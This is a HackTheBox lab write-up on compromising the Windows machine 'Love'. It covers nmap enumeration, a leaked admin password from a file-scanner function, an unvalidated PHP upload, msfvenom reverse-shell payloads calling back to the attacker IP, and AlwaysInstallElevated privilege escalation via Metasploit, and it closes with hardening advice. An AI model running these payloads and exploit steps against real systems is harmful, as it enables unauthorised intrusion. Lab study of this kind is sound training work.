Love 10.10.10.239

You could claim that anything's real if the only basis for believing in it is that nobody's proved it doesn't exist! <J.K. Rowling>

Completed on 30 May 2021

Background

Love is a Windows machine from HackTheBox that focuses on the enumeration technique for training your ethical hacking skills and penetration testing skills.

One of the system function allows the hacker to read the file content of the provided website that I can obtain the system login credential with administrative rights. After login to the application, the file upload function does not enforce the input validation checking, the exploitable script file can upload to the server and run to obtain the initial foothold.

No anti-virus software installed on this Windows machine, I can run the privilege escalation script without restriction and find an AlwaysInstallEvevated loophole. The administrative rights access obtained and read the secure flag.

[e-mail]

Target Machine: 10.10.10.239

Attacker Machine: 10.10.14.3

Hacking Process Part 0 – Service Scanning

Quick Pre-searching

1. nmap -p- -T5 --min-rate=1000 10.10.10.239 -oG fkclai.nmap

2. nmap -p $(grep -Eo '[0-9]{1,5}/open' fkclai.nmap | cut -d '/' -f 1 | tr -s '\n' ',') -sC -sV 10.10.10.239 -o nmap-result.txt

# Nmap 7.80 scan initiated Mon May 24 23:38:44 2021 as: nmap -p 80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670, -sC -sV -o nmap-result.txt 10.10.10.239
Nmap scan report for staging.love.htb (10.10.10.239)
Host is up (0.36s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Secure file scanner
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after:  2024-04-10T14:39:19
|_ssl-date: 2021-05-24T16:08:18+00:00; +26m29s from scanner time.
| tls-alpn: 
|_  http/1.1
7680/tcp  open  pando-pub?
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h11m29s, deviation: 3h30m01s, median: 26m28s
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-05-24T09:08:00-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-05-24T16:08:03
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 24 23:41:50 2021 -- 1 IP address (1 host up) scanned in 186.41 seconds

Enumeration strategies According to the Nmap result, the target machine is a Windows 10 Pro PC. It is a standard PC that installed the Apache Server. The interesting ports are two Apache port 80 and 5000. Apache is the primary enumeration target.

Hacking Process Part 1 – Enumeration

Web Enumeration

According to the Nmap result, the host's name below will be added to the host table and point to the IP 10.10.10.239.

1. SSL-cert : staging.love.htb

2. IIS host: www.love.htb

As no user-id found, the brute-force attack does not work on the Voting System. In addition, no product information or vulnerability was found on this website. I move the checking to the staging.love.htb.

One of the functions provided by this website is scanning the content of files. Due to access restriction of the outside host, after several tries, a password is returned by submitting the localhost address with the port 5000 that is one of the opened port at the Apache server.

Using this captured password to log in to the website www.love.htb but failure. After reviewing the dirb's result, another administrative page can be login with this password.

dirb http://10.10.10.239/ /usr/share/wordlists/dirb/common.txt -o dirb-239.result 

Hacking Process Part 2 – Initial Low Privilege Access

Reviewed the website, this PHP website provides an upload function that can upload any kinds of file without input validation, and the uploaded file can access at http://10.10.10.239/images/.

Uploaded a PHP file that helping to navigate the system. The user flag found at a file saved on the phoebe desktop. A revered shell script was prepared and uploaded to the server.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.12.3 LPORT=1234 -f exe -o fkclai.exe

A reversed TCP shell obtained, and the user flag found at the user's desktop.

Hacking Process Part 3 – Privilege Escalation

The Privilege Escalation (PE) enumeration for the windows environment can use the tool winPEASx86.exe. This WinPEAS is a script that searches for possible paths to escalate privileges on Windows hosts. The checks are explained in book.hacktricks.xyz

The result shows that this windows environment can exploit by the AlwaysInstallEvevated. This vulnerability allows a hacker to add the current login user to load the administrative group.

Windows Privilege Escalation (AlwaysInstallElevated) - Hacking ArticlesHacking Articles

Exploit using Metasploit Framework

Prepared a reverse shell script and uploaded it to the server.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=1234 -f exe -o msf-fkclai.exe

Started the msfconsole and set the payload to the windows/meterpreter/reverse_tcp

Executed the uploaded script to obtain the low privilege shell

Use the exploit payload exploit/windows/local/always_install_elevated and set the following parameters.

msf5> use exploit/windows/local/always_install_elevated
msf5 exploit(always_install_elevated) > set session 1
msf5 exploit(always_install_elevated) > set LHOST 10.10.14.3
msf5 exploit(always_install_elevated) > set LPORT 1234
msf5 exploit(always_install_elevated) > exploit

Exploited and got the administrative privilege access account.

Post Exploitation

    Hostname: Love
    ProductName: Windows 10 Enterprise
    EditionID: Enterprise
    ReleaseId: 2009
    BuildBranch: vb_release
    CurrentMajorVersionNumber: 10
    CurrentVersion: 6.3
    Architecture: x86
    ProcessorCount: 2
    SystemLang: en-US
    KeyboardLang: English (United States)
    TimeZone: (UTC-08:00) Pacific Time (US & Canada)
    IsVirtualMachine: True
    Current Time: 5/30/2021 7:19:23 AM
    HighIntegrity: False
    PartOfDomain: False
    Hotfixes: KB4601554, KB4562830, KB4570334, KB4577586, KB4580325, KB4586864, KB4589212, KB5000802, KB5000858, 

Recommendation

Missing the input validation is the major reason to obtain the initial foothold that I can upload any kinds of exploitable scripts and run them on the server. I would like to suggest the following actions to improve the security

1. Restrict the access of internal files, especially the file that contains the system password.

2. Improve the input validation to prevent any non-image format file upload.

3. Enforce the system hardening to prevent any type of the Windows privilege escalation

Reference Links

Windows Privilege Escalation (AlwaysInstallElevated) - Hacking ArticlesHacking Articles